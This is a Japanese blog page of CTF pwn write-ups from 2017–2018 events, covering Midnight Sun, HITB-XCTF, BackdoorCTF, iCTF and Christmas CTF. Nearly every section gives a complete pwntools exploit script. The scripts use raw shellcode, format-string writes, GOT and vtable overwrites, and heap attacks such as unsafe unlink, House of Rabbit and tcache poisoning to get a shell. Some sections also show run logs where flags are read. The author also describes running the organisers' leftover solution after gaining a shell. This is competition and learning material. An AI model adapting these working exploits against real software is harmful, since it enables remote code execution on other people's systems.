ブログ未満のなにか

ブログなのか誰にも分からない

Midnight Sun CTF 2018 writeup

Babyshells - Pwn (50 + 15)

x86, ARM, MIPSのshellcodeを送るだけ。

x86

#!/usr/bin/env python
from pwn import *

# context(os='linux', arch='i386')
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

RHOST = "52.30.206.11"
RPORT = 7000
LHOST = "127.0.0.1"
LPORT = 7000

# libc = ELF('')
elf = ELF('./chall')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./chall'], execute)
else:
    conn = process(['./chall'])
    # conn = process(['./chall'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')
conn.sendline('1')
conn.sendline(asm(shellcraft.sh()))
conn.interactive()

ARM

shell = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
conn.sendline('1')
conn.sendline(shell)
conn.interactive()

MIPS

shell = "\x28\x06\xff\xff"+"\x3c\x0f\x2f\x2f"+"\x35\xef\x62\x69"+"\xaf\xaf\xff\xf4"+"\x3c\x0e\x6e\x2f"+"\x35\xce\x73\x68"+"\xaf\xae\xff\xf8"+"\xaf\xa0\xff\xfc"+"\x27\xa4\xff\xf4"+"\x28\x05\xff\xff"+"\x24\x02\x0f\xab"+"\x01\x01\x01\x0c"
conn.sendline('1')
conn.sendline(shell)

Haxpresso - Pwn (300)

書き込みができるポインタが任意に制御できるので、GOTに書き換えた。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log

RHOST = "52.30.206.11"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337

# libc = ELF('./libc.so')
elf = ELF('./haxpresso_f2d67837045662dd6abed40660340a33')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./haxpresso_f2d67837045662dd6abed40660340a33'], execute)
else:
    conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'])
    # conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation

def add(name):
    conn.sendlineafter(' > ', '1')
    conn.sendlineafter(': ', '1')
    conn.sendlineafter(': ', 'y')
    conn.sendafter(': ', name)
    conn.recvuntil('added!')

def edit(idx, name):
    conn.sendlineafter(' > ', '4')
    conn.sendlineafter(': ', str(idx))
    conn.sendafter(': ', name)
    conn.recvuntil('edited!')


log.info('Pwning')


add('a')
add('b')
conn.sendlineafter(' > ', '3')
conn.sendlineafter(': ', '0')
conn.sendlineafter(': ', 'n')
conn.sendlineafter(' > ', '3')
conn.recvuntil('Name: ')
buf = conn.recvline()
print repr(buf)
libc_base = u32(buf[0:4]) - 0xd661
log.info('libc_base = 0x%x', libc_base)
conn.sendlineafter(': ', 'n')
conn.sendlineafter(': ', 'n')

payload = 'x'*0x24 + p32(0x0804c030)
edit(0, payload)
edit(1, p32(libc_base + 0x3a940))

conn.sendline('4')
conn.sendline('0')
conn.sendline('/bin/sh\x00')

conn.interactive()

Botpanel - Pwn (300 + 10)

はじめのログインに自明なFSBがあったので、そこだけでexploitした。流せるpayloadが0xc bytesだけだが条件が合えば問題なく動く。体感で1/10で刺さる。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log


RHOST = "52.30.206.11"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

libc = ELF('./libc.so')
elf = ELF('./botpanel_e0117db42051bbbe6a9c5db571c45588')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./botpanel_e0117db42051bbbe6a9c5db571c45588','0'], execute)
else:
    conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588', '0'])
    # conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation




offset = 12
password = '>@!ADMIN!@<'
log.info('Pwning')

# leak
payload = '..%43$p.%7$p'
conn.sendlineafter('Panel password:', payload)
conn.recvuntil('..')
libc_base = int(conn.recv(10),16) - 0x00018540 - 247
conn.recvuntil('.')
stack_addr = int(conn.recv(10), 16)
log.info('libc_base = 0x%x', libc_base)
log.info('stack_addr = 0x%x', stack_addr)
conn.recvuntil('Incorrect')

payload = '..%3$p\x00'
conn.sendlineafter('Panel password:', payload)
conn.recvuntil('..')
bin_base = int(conn.recv(10),16) - 0x10c0
log.info('bin_base = 0x%x', bin_base)

count_addr = stack_addr - 0x60
payload = p32(count_addr+1) + '%9c%12$n'
conn.sendafter('Panel password:', payload)

ret_addr = stack_addr - 0x3c


def write_word(addr, value):
    addr1 = addr
    addr2 = addr+2
    value1 = 0xffff & value
    value2 = 0xffff & (value >> 16)

    payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74),27)
    print len(payload)
    assert len(payload) <= 0xc
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%%d$hn' % (addr1 &0xffff,85)
    print len(payload)
    assert len(payload) <= 0xc
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74+4),27)
    conn.sendafter('Panel password:', payload)
    payload = '%%%dc%%%d$hn' % (0xffff&addr2,85)
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%5$hn' % (value1)
    conn.sendafter('Panel password:', payload)
    payload = '%%%dc%%6$hn' % (value2)
    conn.sendafter('Panel password:', payload)

write_word(ret_addr, libc_base + 0x3a940)
write_word(ret_addr+8, libc_base + 0x15902b)


conn.sendline(password)
conn.interactive()

HITB-XCTF GSEC CTF 2018 Quals writeup

once (pwn, 281pts)

libcのアドレスは適当な選択をすれば漏れてくるので、適当に双方向リストのポインタを上書きした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.189.102"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('./libc-2.23.so')
elf = ELF('./once')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        set environment LD_PRELOAD=./libc-2.23.so
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./once'], execute)
else:
    conn = process(['./once'])
    # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'})

# preparing for exploitation

def create():
    conn.sendlineafter('> ', '1')

def write(payload):
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.send(payload)

def free():
    conn.sendlineafter('> ', '3')

def malloc(size):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('input size:', str(size))
    conn.sendlineafter('> ', '4')

def _free():
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('> ', '4\x00yyyyyy')

def write_string(payload):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.sendline(payload)
#    conn.recvuntil('success.')
    conn.sendlineafter('> ', '4')


log.info('Pwning')

conn.sendlineafter('> ', '-1')
conn.recvline()
buf = conn.recv(len('0x7fbb53834690'))
libc_base = int(buf, 16) - 0x6f690
log.info('libc_bsae = 0x%x', libc_base)

write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2)
malloc(0x200)
payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e)
write_string(payload)
_free()
conn.recvuntil('>')
create()

conn.interactive()

babypwn (pwn, 253pts)

バイナリが与えられないが自明なFSBがあるためリークすることができる。適当にstdinあたりのvtableを上書きした。

#!/usr/bin/env python
from pwn import *

#context(os='linux', arch='unknown')
#context.log_level = 'debug' # output verbose log

RHOST = "47.75.182.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./a.out')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x4006ef
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./a.out'], execute)
else:
    conn = process(['./a.out'])
    # conn = process(['hogehoge'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def write(addr, byte):
    payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr)
    conn.sendline(payload)

log.info('Pwning')

# leak libc_base
conn.sendline('%41$p')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x20830
log.info('libc_base = 0x%x', libc_base)

stdin = libc_base + 0x3c48e0
stdin_vtable = libc_base + 0x3c49b8
fake_vtable = libc_base + 0x3c49c0
system = libc_base + 0x45390

# set ';sh' string
write(stdin+4, ord(';'))
write(stdin+5, ord('s'))
write(stdin+6, ord('h'))

# create fake vtable
for i in range(6):
    write(fake_vtable+0x28+i, ord(p64(system)[i]))

# overwrite stdin vtable ptr
a = (fake_vtable & 0xffff)
payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable)
conn.sendline(payload)

conn.interactive()

d (pwn, 392pts)

heap overflowがあるのでchunk sizeを上書きしてunsafe unlink attackを使った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.154.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute)
else:
    conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'])
    # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def read(idx, msg):
    conn.sendlineafter('Which? :', '1')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('msg:', msg)

def edit(idx, msg):
    conn.sendlineafter('Which? :', '2')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('new msg:', msg)

def wipe(idx):
    conn.sendlineafter('Which? :', '3')
    conn.sendlineafter('Which? :', str(idx))

def fsa(addr, byte):
    payload = ''


printf_plt = elf.plt['printf']
atoi_plt = elf.plt['atoi']
strlen_plt = elf.plt['strlen']
fake_chunk = 0x6021a0


log.info('Pwning')

read(0, 'x' * 0x138)
read(1, 'x' * 0x138)
read(2, 'x' * 0x138)
read(3, 'x' * 0x138)
read(4, 'y' * 0x138)
read(5, 'z' * 0x138)
read(6, 'z' * 0x138)
wipe(4)
read(4, 'a'* (0x138+19))
edit(4, 'x'*0xf8)
edit(4, 'x'*0xf0 + p64(0xf0))
payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10)
edit(4, payload)
wipe(5)

edit(6, '/bin/sh\x00')
edit(4, p64(0x602028))
edit(1, p64(printf_plt)[:6])

edit(0, '%2$p')
conn.recvuntil('Which? :')
conn.sendline('2')
conn.recvuntil('Which? :')
conn.sendline('0')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x3c6780
log.info('libc_base = 0x%x', libc_base)
conn.sendline('hoge')

edit(4, '%p')
edit(4, p64(0x602018))
edit(1, '%p')
edit(1, p64(libc_base + 0x45390)[:7])

conn.interactive()

mutepig (pwn, 833pts)

House of Rabbit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.128.158"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./mutepig')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        set follow-fork-mode parent
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./mutepig'], execute)
else:
    conn = process(['./mutepig'])
    # conn = process(['./mutepig'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def create(_type, payload):
    time.sleep(0.1)
    conn.sendline('1')
    conn.sendline(str(_type))
    time.sleep(0.1)
    conn.send(payload)
    time.sleep(0.1)

def free(idx):
    time.sleep(0.1)
    conn.sendline('2')
    time.sleep(0.1)
    conn.sendline(str(idx))
    time.sleep(0.1)

def write(idx, payload, payload2):
    time.sleep(0.1)
    conn.sendline('3')
    time.sleep(0.1)
    conn.sendline(str(idx))
    time.sleep(0.1)
    conn.send(payload)
    time.sleep(0.1)
    conn.send(payload2)

log.info('Pwning')

time.sleep(0.1)

create(3, 'x'*7)
free(0)
create(3, 'y'*7)
free(1)
create(1, 'fast')   # 2
create(2, 'small')  # 3
free(2)
payload = p64(0) + p64(0x11) + p64(0x0) + p64(0xfffffffffffffff1)
write(2, p64(0x602130)[:7], payload)
free(3)     # malloc_consolidate
payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xa00001)
write(3, 'w'*7, payload)
create(3, '/bin/sh')
payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xfffffffffffffff1)
write(3, 'w'*7, payload)
create(13337, 'a'*7)
create(1, p64(0x0000000000602018)[:7])
write(0, p64(0x00000000004006e6)[:7], 'hoge')
free(2)

conn.interactive()

gundom (pwn, 487pts)

tcache

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.37.114"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('./libc.so.6')
elf = ELF('./gundam')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./gundam'], execute)
else:
    conn = process(['./gundam'])
    # conn = process(['./gundam'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def build(name, idx):
    conn.sendlineafter('Your choice : ', '1')
    conn.sendafter('The name of gundam :', name)
    time.sleep(0.1)
    conn.sendlineafter('The type of the gundam :', str(idx))
    time.sleep(0.1)

def visit():
    conn.sendlineafter('Your choice : ', '2')
    time.sleep(0.1)

def destroy(idx):
    conn.sendlineafter('Your choice : ', '3')
    conn.sendlineafter('Destory:', str(idx))
    time.sleep(0.1)

def blow():
    conn.sendlineafter('Your choice : ', '4')
    time.sleep(0.1)

log.info('Pwning')

build('x'*0x10, 0)
build('y'*0x10, 1)
destroy(0)
destroy(0)
build('x'*0x1, 0)
visit()
conn.recvuntil('Gundam[2] :')
heap_base = u64(conn.recv(6) + '\x00\x00') - 0x278
log.info('heap_base = 0x%x', heap_base)

destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
blow()
build('\x90'*0x1, 0)
visit()
conn.recvuntil('Gundam[0] :')
libc_base = u64(conn.recv(6) + '\x00\x00') - 0x3dac90
log.info('libc_base = 0x%x', libc_base)


destroy(1)
payload = p64(0) + p64(0x61) + p64(libc_base + 0x3dac78) * 2 + 'a'*0x40 + p64(0x60) + p64(0x100)
build(payload, 2)
build(p64(libc_base + 0x3da9cc) + p64(0) + p64(heap_base + 0x3d0)*2, 0)
build('hoge', 0)

free_hook = libc_base + 0x3dc8a8
short_buf = libc_base + 0x3daa63
payload = '\x00'* 4 +  p64(0xfbad208b) + p64(short_buf) + p64(short_buf+1) + p64(short_buf) * 4 + p64(free_hook-2) + p64(free_hook+8)
build(payload, 0)

conn.sendline('3')
conn.send('0\x00' + p64(libc_base + 0xfccde))
#conn.send('0\x00' + 'x'*8)

conn.interactive()

最後に

最近はCTFをするときにMAN WITH A MISSIONRaise your flagを聴いている(本当は適当にプレイリストを流しているだけ)。 CTFっぽい名前なのか良い感じにfirst bloodを取れるのでジンクスとして続けていこうとかと思っている。

BackdoorCTF 2018 SHELTER, BOOKKEEPING writeup

SHELTER (pwn, 200pts)

機能

ノート管理系のアプリ。ノートの新規作成とノートの削除を行うことができる。ノートの作成時に作成されたノートが割り当てられたメモリのアドレスを教えてくれる。また、3.Helpを選択するとcode領域のアドレスを得ることができる。削除するときはindexを指定して実行する。indexは新規作成されたたびにインクリメントされていき、削除されてもデクリメントされない。

# ./challenge

--- Menu ---
1.New note
2.Delete note
3.Help
4.Exit
choice > 1
Enter content > hogehoge
Created at 0x5595c8fb3010 !

--- Menu ---
1.New note
2.Delete note
3.Help
4.Exit
choice > 3
I am located at 0x5595c7af0c1a

構造体

ノートの構造体は以下のようになっていた。malloc()で取得できるチャンクのサイズは0x100byteとなる。関数ポインタはノートの削除時にfree()が行われる前に呼び出される。削除に成功した旨を出力すう関数のポインタが設定される。

struct Note {
    void* func_ptr;
    char content[0xf0];
}

vuln

ノート作成時に、読み込むbyte数が0xf1byteとなっており、buffer overflowが存在する。直下のチャンクのサイズを1byteだけ任意の値に書き換えることができる。 また同じindexを複数回数指定できるためdouble freeがある。

exploit

get_shell()というシェルを起動してくれる関数がいるため、func_ptrを任意の値にしてget_shell()を呼び出す。 PREV_INUSEをクリアして、チャンクの統合を起こし、free済みのfunc_ptrを任意に書き込めるようにして、get_shell()を呼んだ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "51.15.73.163"
RPORT = 8088
LHOST = "127.0.0.1"
LPORT = 8088

# libc = ELF('./libc.so.6')
elf = ELF('./challenge')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./challenge'], gdbscript=execute)
else:
    conn = process(['./challenge'])
    # conn = process(['./challenge'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

log.info('Pwning')

def new_note(content):
    conn.sendlineafter('choice >', '1')
    conn.sendafter('Enter content >', content)
    conn.recvuntil('at ')
    return int(conn.recv(14), 16)

def del_note(idx):
    conn.sendlineafter('choice >', '2')
    conn.sendlineafter('Enter index to delete note >', str(idx))

def help():
    conn.sendlineafter('choice >', '3')
    conn.recvuntil('I am located at ')
    return int(conn.recv(14),16)

# leak bin_base
bin_base = help() - 0xc1a
log.info('bin_base = 0x%x', bin_base)



heap_base = new_note('x'*0xf0) - 0x10
fake_chunk = heap_base + 0x70
log.info('heap_base = 0x%x', heap_base)
new_note('y'*0xf0)
new_note('z'*0xf0)
del_note(0)
# ptr.fd->bk == ptr
# ptr.bk->fd == ptr
payload = 'a' * 0x58 + p64(0x0) + p64(0x91) +p64(fake_chunk) + p64(fake_chunk) + 'b'*0x70 + p64(0x90) + '\x00'
new_note(payload)
del_note(1)
new_note(p64(bin_base + 0xa30)*0x18)
del_note(1)
conn.interactive()
# python exploit.py r
[*] '/root/ctf/backdoorCTF2018/shelter/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 51.15.73.163 on port 8088: Done
[*] Pwning
[*] bin_base = 0x5642f01b8000
[*] heap_base = 0x5642f15a7000
[*] Switching to interactive mode
$ ls
challenge
flag.txt
$ cat flag.txt
CTF{Y0U_4R3_T0_B3_R3W4RD3D}

BOOKKEEPING (pwn, 350pts)

ノート管理アプリ。 サイズを指定できて、負数を入力するとチャンクのサイズを小さくできる。適当にやったらシェルが取れた。ただposixの共有メモリとか使っていて、verifier.oの方からしかflagを読めない。しかし、シェルを取ったらディレクトリに運営の想定解法っぽいexploitがあったので、それを実行したらフラグが降ってきた。途中で気づいたのか、想定解法は削除されていた。

#!/usr/bin/env python
from pwn import *
import subprocess

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "51.15.73.163"
RPORT = 8888
LHOST = "127.0.0.1"
LPORT = 8888

# libc = ELF('')
elf = ELF('./service.o')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./service.o'], gdbscript=execute)
else:
    conn = process(['./service.o'])
    # conn = process(['./service.o'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def add_note(length, title, body):
    conn.sendlineafter('>', '1')
    conn.sendlineafter('Enter note length>', str(length))
    conn.sendlineafter('Enter title>', title)
    conn.sendlineafter('Enter note body>', body)

def delete_note(idx):
    conn.sendlineafter('>', '2')
    conn.sendlineafter('Enter note index>', str(idx))

def edit_note(idx, title, body):
    conn.sendlineafter('>', '3')
    conn.sendlineafter('Enter note index>', str(idx))
    conn.sendlineafter('Enter title>', title)
    conn.sendlineafter('Enter note body>', body)

def print_note(idx):
    conn.sendlineafter('>', '4')
    conn.sendlineafter('Enter note index>', str(idx))
    conn.recvuntil('Title: ')
    title = conn.recvuntil('Body: ')
    body = conn.recvuntil('Welcome')
    return (title, body)

log.info('Pwning')
subprocess.call(['rm', '-f', '/dev/shm/notes_dir'])

# leak
add_note(-0x10, 'x'*0x20, '\n')
add_note(0x10, 'y'*0x20, 'y'*0xf)
add_note(0x10, 'y'*0x20, 'y'*0xf)
delete_note(1)
(_, buf) = print_note(0)
libc_base = u64(buf[:6]+'\x00\x00') - 0x3c4b78
log.info('libc_base = 0x%x', libc_base)
add_note(0x10, 'y'*0x20, 'y'*0xf)
delete_note(2)

add_note(-0x40, 'a'*0x20, '\n')
add_note(-0x40, 'b'*0x20, '\n')
add_note(-0x40, 'c'*0x20, '\n')
delete_note(3)
payload = 'v'*0x60 + p64(0x70) + p64(0x71) + p64(libc_base + 0x3c4aed)
edit_note(2, payload, '\n')
add_note(-0x40, 'd'*0x20, '\n')
payload = '\x00' * 3 + p64(0) * 2 + p64(libc_base + 0x4526a)
add_note(-0x40, payload, '\n')
delete_note(0)

conn.sendlineafter('>', '1')
conn.sendlineafter('Enter note length>', '1')
conn.interactive()
# python exploit.py r
[*] '/root/ctf/backdoorCTF2018/bookkeeping/service.o'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 51.15.73.163 on port 8888: Done
[*] Pwning
[*] libc_base = 0x7fa4a7097000
[*] Switching to interactive mode
$ ls
Makefile
flag
service.c
service.o
verifier.c
verifier.o
$ cat flag
cat: flag: Permission denied
# python exp.py
[+] Opening connection to 51.15.73.163 on port 8888: Done

Title: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Body: \x80\xa2\x1a
Welcome to note taker
1. Add a note
2. Delete a note
3. Edit a note
4. Print a note
5. Exit
6. Get flag
>

[*] Heap base @: 0x21aa000

Title: CTF{d1d_y0u_ju57_wr173_p457_7h3_30f?}
Body:
Welcome to note taker
1. Add a note
2. Delete a note
3. Edit a note
4. Print a note
5. Exit
6. Get flag
>

[*] Closed connection to 51.15.73.163 port 8888

UCSB iCTF 2018 hero_text_adventure writeup

vuln

武器の名前の大きさは、0x20byteとなっている。しかし、4) give weapon a new nameで入力できるサイズが0x24byteとなっている。NULL終端されるため0x23byteが自由に制御でき、3byteがオーバーフローする。オーバフローする部分は、次の武器の関数ポインタであるため、装備する武器を変えてバトルすれば任意の処理へ制御を飛ばすことができる。

exploit

脆弱性を使用するためには、武器を2つ購入して最初に購入した武器を装備し名前を変えればいい。

書き換えた関数ポインタが呼ばれるとき、rdi(第一引数)は自分の名前を指すポインタ(player@0x603240)を格納している。なのでprintf(name)をして、必要なアドレスをリークした。 書き換えられるバイト数は3byteだけなので、libcのsystem関数をそのまま書き込むことはできない。なのでバイナリ中で使用しているreadline関数を一旦呼び出して、player以下の領域を任意の値を書き換えられるようにした。 最後は適当に調整して、system('/bin/sh')を呼び出した。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "127.0.0.1"
RPORT = 20007
LHOST = "127.0.0.1"
LPORT = 20007

# libc = ELF('')
elf = ELF('./hero_text_adventure')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./hero_text_adventure'], gdbscript=execute)
else:
    conn = process(['./hero_text_adventure'])
    # conn = process(['./hero_text_adventure'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')

conn.sendline('N')
conn.sendline('%p.%p.%p.')
conn.sendline('1')
# make money
conn.sendline('1337')
conn.sendline('10000')
# buy weapon
conn.sendline('2')
conn.sendline('1')
# buy weapon
conn.sendline('2')
conn.sendline('2')
# equip
conn.sendline('3')
conn.sendline('1')
# give a name to weapon
conn.sendline('4')
payload = 'x'* 0x20 + p32(0x400ebf)  # printf
conn.send(payload)
# equip
conn.sendline('3')
conn.sendline('2')

# trigger vuln
conn.sendline('1')
conn.recvuntil('.0x28.')
libc_base = int(conn.recv(len('0x7f4c4f89b0a4')), 16) - 0x3c40a4
log.info('libc_base = 0x%x', libc_base)

# equip
conn.sendline('3')
conn.sendline('1')
# give a name to weapon
conn.sendline('4')
payload = 'x'* 0x20 + p32(0x400C84)
conn.send(payload)
# equip
conn.sendline('3')
conn.sendline('2')

# trigger vuln
conn.sendline('1')
payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + 'a'*0x30
payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + p64(libc_base + 0x45390)
conn.send(payload)
conn.send(p64(libc_base + 0x45390))
conn.recvuntil('6) exit')
conn.sendline('1')

conn.interactive()

さいごに

First Bloodを取れたので嬉しい。

Christmas CTF 2017 writeup

はじめに

クリスマスに予定がなかったのでCTFしてた。TokyoWesternsで参加して1829点で3位だった。賞金が降ってくるらしいのでちょっとしたクリスマスプレゼントっぽくなった。解けた問題のwrteiupを書く。

[PWNABLE] BOOKSTORE

C++で書かれたバイナリで、Stringを使っている。なのでbofは存在しない。しかし未初期化バグがあるので、それをうまく使うことで任意の箇所を操作できるようになる。操作は本の価格と個数で決まるので、適当に本の値段を1にしておいて買うときに個数を調整した。

